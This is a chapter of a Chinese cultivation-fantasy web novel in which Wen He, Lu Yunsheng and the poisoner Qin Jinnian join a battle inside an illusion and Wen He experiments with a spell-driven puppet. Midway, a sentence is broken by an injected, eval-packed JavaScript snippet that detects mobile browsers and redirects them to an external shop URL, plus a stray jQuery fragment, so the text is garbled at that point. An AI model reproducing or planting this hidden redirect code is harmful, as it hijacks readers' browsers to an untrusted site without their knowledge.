秦瑾年甚是狡猾。他不像是要为药宗做什么辩解,反倒像是将其又在言语中踩了一脚,又将通草堂拖下了水。
“难道不是通草堂的人同你们说,幻境之物若当下妥善处理便能据为己有?”秦瑾年讥讽道,“但凡找准规律,龙蝶或可有无数个。你们哪个没动过将龙蝶归于自身的心思?”
那边被秦瑾年吸引去了注意力,只顾着唇齿交锋,攻击少了大半,林牧慕手头因此闲了下来。她撇过脸以手背挡着唇,隔着一具傀儡压低声音问闻赫:“怎么就跟他混一起啦?治病?”
闻赫抬眼。
这姑娘总能在她不方便回答的问题上提前为她找好由头,只需顺着说下去,倒是省心。
她借坡下驴,点头:“对。”
林牧慕或许以为这是因着路韫生的人脉才能叫秦瑾年随行,脸上露出一副恍然的神情来。她不评价秦瑾年其人好坏,只道:“药宗治病还是很好的,你大师兄很厉害。”
闻赫又点头,并不多言。
治病如何暂还未见,杀人倒不见差。
傀儡一动。林牧慕被吓得一缩肩,锤头猛然一晃。
路韫生在闻赫侧后方,示意她往秦瑾年所在之处去看:“青遥并未与他在一处。”
闻赫闻言偏偏头,视线从傀儡肩侧越过。
确实未见。秦瑾年正独自一人半倚在一根烧塌了的横梁上,神情怡然,口中话语不断,指尖却微微颤动。
闻赫凝神细看,从他动作间只能看出他在使咒,却辨不太出是何效用。
“要找人吗?”林牧慕问。
闻赫将视线收回转向她:“能找?”
林牧慕点头:“能。我师姐有法子,很快。”
闻赫便也不扭捏,道:“劳烦。找个天机阁的人。”她抬手在颈间比划,“这儿绑了根水红绸带的那位。”
她知晓林牧慕见过青遥,便如此与她说明。
闻赫自身并非不能找人寻物,但她的法子实在是稍慢了些,若秦瑾年此番操作便是在做此事,她现在做可能还赶不上他。
不过现下听雨楼的人有更快些的法子,那送上门儿的不用白不用。
路韫生此时在闻赫耳边轻声道:“此境有异。”
闻赫眉头一动,视线跟着林牧慕,却侧脸,将注意力拉回路韫生身上:“那间屋?”
她指的是秦瑾年正倚着的那处。
由房梁、立柱与烧毁程度来看,那不过是一间顶多一进的院落房屋。
“有匾额。”路韫生道。
傀儡又侧身为二人挡下了一记攻击。路韫生撤肘提腕,手掌一张一合,傀儡转守为攻,在众人都不甚在意的间隙全数奉还于偷袭者。
闻赫眼也不抬,往房屋投去的视线并未偏移半分。但从她所处之处看去,那烧焦了的匾额上的字形被秦瑾年挡了小半。
路韫生或能看得更清些,便与她道:“偈州署。”
那是离京最近的州署府衙。
当仙道与政权扯上关系,那可当真就是——
“世间无道”。
无人在意偷袭与被偷袭。除了秦瑾年仍在挑拨别人的火气外,稍引人注意些的便是不时出现的痛呼与惨叫。
林牧慕风风火火地一去一回,头上的发鬏都险些要被她晃散。
“他同天机阁谕令使在一起。”
她撑着膝头大口喘气,好一会儿才缓过劲儿来。
不待闻赫问,路韫生适时为她解了惑:“卫粼。”
与卫粼在一起至少安全有了保证。闻赫点头,与林牧慕道了谢,又远远向听雨楼队伍所在之处看去,与同时向这边望来的粉衣女子轻微颔首。
不过前后脚之差,秦瑾年也动了。
只见他抬手翻掌,不见针形,却听连续几声哀叫,墨线爬上对方的脸、颈、臂,又一一沿着线条碎裂,被黑雾吞噬。
“路兄。”他拍了拍手站直身体,向着闻赫所在之处走来,口中叫的是路韫生,双眼看着的却是闻赫,“要合作吗?”
闻赫正要开口,被路韫生从中截了胡:“说。”
闻赫张了张嘴,知晓路韫生是何想法,便止声不表。
秦瑾年辨不出含义地笑了一声:“我有药要试,那些人看起来倒不赖。”他双手一摊,“你们帮听雨楼解仇报怨,得她们的人情,我要看药效,双方得利。”
“如何?”他问。
他说这话时倒是一点不避林牧慕这听雨楼所属之人,连眼神都未曾往那头递上半分。
闻赫往旁瞥去一眼,不出所料,林牧慕的脸几乎皱成了个包子。
“牧慕能做主吗?”她放软了声线问。
林牧慕皱着脸,说不清到底算是个什么神情:“我很想说我不能做主。”她丰润的嘴唇微微噘起,有些不满,有些无奈,“我们人确实不多。这人情算我的成吗?”
路韫生最终点了头。
从秦瑾年的神情来看,他对此结果甚是满意。他转身,路韫生亦上前一步。
闻赫却在此时叫住了路韫生:“不必师兄去。”
路韫生转头看她。
闻赫张开手掌,掌心朝上:“我有个主意。”她偏头看了看已祭出双锤的林牧慕,又向即将要面对的、勉强称为敌人的那群人瞥去一眼,“他们反正也是要死的,叫我来试试。”
要试什么,怎么试,她是一字不提,对着路韫生如同下令一般,同时兀自抬步向前,翻掌夺去了他手中傀儡的控制权。
她大步前行,单手控傀,另一手开始在虚空中画起咒文。
路韫生被她落在身后。
林牧慕早已执锤冲出,听雨楼那方的反应亦很迅速。一时间,存在于多方之中的诡异平衡被骤然打破。
秦瑾年却似是感应到了什么,放慢了脚步,直至与闻赫并肩。
他像是被闻赫的动作勾起了兴趣:“傀儡带咒不可逆,你这又是什么路数?”
闻赫懒得与他解释:“自己看。”她想起巫涟先前对他的评价,觉得好笑,“咒术学得很糟啊,秦先生。”
秦瑾年的笑脸一僵。
他咬牙含糊着用关外话骂了一句脏的,扭过头,提高步速去抓他想要的人,再也不问闻赫要做的事。
秦瑾年说得其实不错,闻
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17597554|203043||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
赫知晓这一点。她想做的也正是针对这一点而生的一丝,可称之为‘玩’的小想法。
在不伤零件与躯体的前提下,以咒行傀。
若是成功,这将会使操控更具有迷惑性。
咒术完成。闻赫指尖轻轻一划,随即转腕扯线。
傀儡的肩头被覆上了一道贯穿左右的墨色咒文,字符密密麻麻,如同活物一般顺着傀儡的双臂攀附向下。
她视线紧锁着前方的傀儡,一面抬指勾线拉着火药喷射的方向,一面却悄悄断了肩臂几处关节的操纵。
刚开始时傀儡的动作尚有些卡顿,形势之紧急甚至逼迫林牧慕来替她挡了数招。但不过半盏茶的时间,傀儡已然到达能够自行简单动作的程度。
闻赫在傀儡身后看着它肩上正不断侵蚀木材表面的咒文,微微蹙眉。
还需再行琢磨。尽管她已对咒文进行修改,但这问题或许出在咒术这一手段本身,傀儡带咒的副作用比能够提供的效用要大得多。
这可不行,只能用一次太费耗材。
闻赫暗暗将此变化尽记于心,随后便专心操纵傀儡,履行与秦瑾年的合作内容。
听雨楼有几个习练大范围术法的弟子,只是念咒结术尚需时间,在此期间她们的安全实受威胁,可称近战的只有林牧慕一人。
此番合作有了闻赫的傀儡,又有秦瑾年的咒针一同,为听雨楼——尤其林牧慕——解去了大多数的压力。
活口要得多,又不在乎错手死上那么几个,战局便相应结束得快。
秦瑾年给他选中的人一一喂了药,不知有何效果,总之那些人的反应有大有小,并不相同。
亦不算多么好看。
闻赫只瞥了一眼,便皱着眉转开了视线。
听雨楼已开始休整。她收回傀儡,仔细检查过一番后便回身去找路韫生,未走出两步,远远的瞧见有几道人影站在对方身侧,似是在与之交谈。
青遥颈间的水红色绸带在人群中很是显眼。
闻赫脚下不停,一路微微眯眼仔细辨认。
卫粼、玉驰骁、青遥皆在。
与他们一同的,她见过面的占了约半数,另一半却是陌生面孔,似乎并非以卫粼或玉驰骁为首,而是另一势力。
距离近了,她看清了另一半人的打扮。
不像追逐仙道或心道的人,腰间系甲,倒像是侍卫一类的人物。
再近一些,闻赫听见路韫生含冰的声音:“傀宗不与官府打交道。”
卫粼的话音笑意盈盈,却不再是同路韫生说话,而是转过头来对上闻赫的视线,仍是一副逗哄小孩儿的语气:“少宗主,来认识个人如何?”
他稍稍侧身,让出了另一人的身影来。
闻赫已至近前,上下打量了一番站在他身侧的男人,并不言语。
此人一身文人打扮,圆领白襟,宽袍大袖,素色青衣,唯有两腕间缠着的那串小珠显得有些突兀。
男人微微俯身拱手,珠串上双双垂下一道青白软穗,挂在袖口间晃晃悠悠:“在下冯衍,朝中任司天少监。”
正四品,是个大官儿。